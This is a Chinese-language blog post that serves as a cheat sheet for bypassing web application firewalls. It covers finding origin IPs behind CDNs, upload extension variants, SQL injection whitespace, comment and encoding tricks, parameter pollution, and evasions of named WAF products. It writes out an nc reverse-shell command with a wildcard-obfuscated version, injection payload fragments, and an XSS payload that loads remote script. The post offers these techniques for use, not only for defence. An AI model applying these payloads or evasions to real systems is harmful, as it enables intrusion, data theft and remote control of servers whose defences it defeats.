WAF对抗与绕过
前言
WAF对抗与绕过,即关注网络架构层、资源层、协议层面、规则缺陷、Web应用层,主要根据WAF部署位置,针对WAF、Web服务器、Web应用对协议解析、字符解析、文件名解析、编码解析以及SQL语法差异来Bypass
不同架构层的WAF绕过
网络架构层
此层主要是涉及到寻找真实IP的方法
- 第三方代码托管平台(github、码云)
- 网站注释页面、IP标识
- 站点探测、img标签加载header、ssrf
- CDN
- 运营商(云租户、云设备)租贷
- 搜索引擎对于历史镜像的抓取
- 漏洞历史曝光(补天、wooyun)
- dnspod、dns历史解析记录
- 社工反查域名注册
- 利用shadon找网站图标md5、ico、天眼查
- 证书certificates
- 同一服务器多台域名,有的部署CND、有的没有部署
资源层
- WAF本身资源、WAF集群资源
- HTTP请求包的大小、填充垃圾思路
- 带宽请求、游戏、CDN、WAF、DDos暴露IP
- 云WAF、云集群、躲避多个规则检测
- 代理模式绕过
- 解码功能:多层编码可以绕过单层检测bypass
- IPS模式、数据包切片
协议层
- 协议未覆盖(1.1、1.0、0.9)
- 协议解析和Web容器解析不一致
- 参数溢出、填充垃圾数据
- 参数污染、waf.php?id=1&id=2&id=3
规则缺陷层
- web应用自身写的过滤函数
- 正则绕过(大小写)
- 开源waf、规则库
Web应用层
- 数据库
- XSS
- 文件上传
- SQL
- XXE等
WAF绕过技巧
1. 解析后缀
html相关后缀
1 | html、htm、phtml、pht、Html、Htm、pHtml、cshtml |
asp相关后缀
1 | asp、aspx、asa、asax、ascx、ashx、asmx、cer、aSp、aSpx、aSa、aSax、aScx、aShx、aSmx、cEr |
php相关后缀
1 | php、php5、php4、php3、php2、pHp、pHp5、pHp4、pHp3、pHp2 |
jsp相关后缀
1 | jsp、jspa、jspx、jsw、jsv、jspf、jtml、jSp、jSpx、jSpa、jSw、jSv、jSpf、jHtml |
2. 常见扩展名黑名单
asp相关黑名单
1 | asp、asa、cer、cdx、aspx、ashx、ascx、asax |
php相关黑名单
1 | php、php2、php3、php4、php5、asis、htaccess |
html或网页黑名单
1 | htm、html、shtml、pwml、phtml、js、jsp |
脚本文件黑名单
1 | vbs、asis、sh、reg、cgi、exe、dll、com、bat、pl、cfc、cfm、ini |
3. 空白字符
SQLite3
1 | 0A 0D 0C 09 20 |
MySQL5
1 | 09 0A 0B 0C 0D A0 20 |
PosgreSQL
1 | 0A 0D 0C 09 20 |
Oracle
1 | 11g 00 0A 0D 0C 09 20 |
MSSQL
1 | 01-0F、10-1F、20 |
4. 数据库解析注释符
1 | #、/*bypasswaf*/、-- -- -、--+、//、/**/、; |
5. SQL函数&关键字-MySQL
关键词函数
1 | union、distinct、union districtrow、updatexml、procedure、analyse()、extractvalue()、exp()、ceil()、atan()、sqrt()、floor()、ceiling()、tan()、rand()、sigh()、greatest() |
字符串截取函数
1 | mid()、substr()、substring()、Lpad()、Rpad()、Left()、Reverse(right(version()),1) |
字符连接
1 | char()、hex()、unhex() |
过滤逗号
1 | limit 1 offset 0 替代limit 0,1 |
6. SQL函数&关键字-MSSQL数据库
关键词函数
1 | IS_SRVROLEMEMBER()、HAS_DBACCESS()、IS_MEMBER()、convert()、col_name() |
字符串截取函数
1 | Substring(@@version,1,1)、left(@@version,1)、 |
字符串转换函数
1 | Ascii('a')、Char('97')、Exec |
7. 容器特性
有些容器会对特殊字符解析,但waf不一定解析,具体需要看容器,如%u0065和%u00f0可以解析为e,可以以此绕过select的过滤
字母a
1 | %u0000、%u0041、%u0061、%u00aa、%u00e2 |
单引号
1 | %u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%97 |
空白
1 | %u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0 |
左括号
1 | %u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8 |
右括号
1 | %u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9 |
8. IIS+asp(x)容器特性
- %u特性:IIS支持对Unicode的解析,如s%u006c%u0006ect为select、%u0061nd 1=1;多个widechar可能解析为同一字符,如%u0065和%u00f0->e
- %u特性:IIS+asp会忽略掉百分号
9. 大小写转换法
1 | SQL:sEleCt、vERsIon() |
10. 字符编码法
1 | SQL:Unicode、HEX、URL、ASCII、base64 |
11. HPP参数污染
id=1&id=2&id=3,容器给出不同结果:
- asp+IIS:id=1,2,3
- php+apache=3
12. 注入系列&语言&数据库特性
MySQL
1 | |e|{union from} |
MSSQL
1 | 30多个可代替空格的字符 |
Annotation
1 | --、#、--+、//、-- -、/**/、;%00、/!*20000*/ |
Apache
1 | 解析特性、HPP、畸形Boundary等 |
nginx
1 | 解析特性等 |
OSX
1 | test.php{\xFC[\x80-\x83]} |
Linux
1 | host''name |
windows&&IIS
1 | unicode、畸形Unicode、ADS流、N种HTTP畸形正文、解析特性、截断特性、HPP、畸形Boundary、GET/POST分不清、畸形字符代替正常字符 |
Encoder
1 | Json、Unicode、Base64、URLEncode、HTML、Serialize、URL二次编码 |
13. 通配符绕过(Linux)
很多bash语法能够使用问号?、正斜杠/、数字字母来执行命令
比如反弹shell时,原本的
1 | nc -e /bin/bash 127.0.0.1 1337 |
可以
1 | /bin/n? -e /???/b??h hex(127.0.0.1) 1337 |
14. 数据库绕过-注释符绕过
1 | /**/->/*aaaa%01bbs*/->/*aaaa……aaaa*/ |
15. 数据库绕过-空白符绕过
- 基于正则的waf以\s匹配空格,与MySQL不同可过waf
- union select,可fuzz两个关键词之间的空格,比如%250C、%25A0
16. 数据库绕过-浮点数词法解析
- select * from users where id = 8E0 union select……
17. 数据库绕过-函数分隔符
特点:函数名与左括号之间可以存在特殊字符,如1
concat%2520|/**/|/%250c/%25a0()
18. 报错注入深入
- extractvalue()
- updatexml()
- GeometryCollect()
- polygon()
- linestring()
- multipoint()
- multilinestring()
- multipolygon()
19. 数据库标识位绕过法
1
select * from uname where uid=1[]unionp[]select[]uname,upass[]from[]uname
20. Fuzz绕过SQL、XSS、上传
过程
- 自建fuzz库
- Fuzz
- 手动分析确认
案例
- ❤️shell.asp过狗、文件名0x90过安全狗、更改filename参数位置
- 云锁bypass:0x00过SQL注入如防护
- 云锁与安全狗跳过文件大小:可以增大文件
- 混合payload过狗
Tricks
- form-data绕过post参数检测
- 添加~
- 随机大小写
- 单双引号bypass
- 添加’’;bypass
- 字符破坏bypass
- 删除文件bypass
- 文件名3%25081.jspx过waf
- XSS bypass
1
'><math>a xlink:href="//127.0.0.1/test.js">click
本文作者:
yd0ng
本文链接: https://yd0ng.github.io/2020/09/24/WAF%E7%BB%95%E8%BF%87%E5%AF%B9%E6%8A%97/
版权声明: 本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议 进行许可。转载请注明出处!
本文链接: https://yd0ng.github.io/2020/09/24/WAF%E7%BB%95%E8%BF%87%E5%AF%B9%E6%8A%97/
版权声明: 本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议 进行许可。转载请注明出处!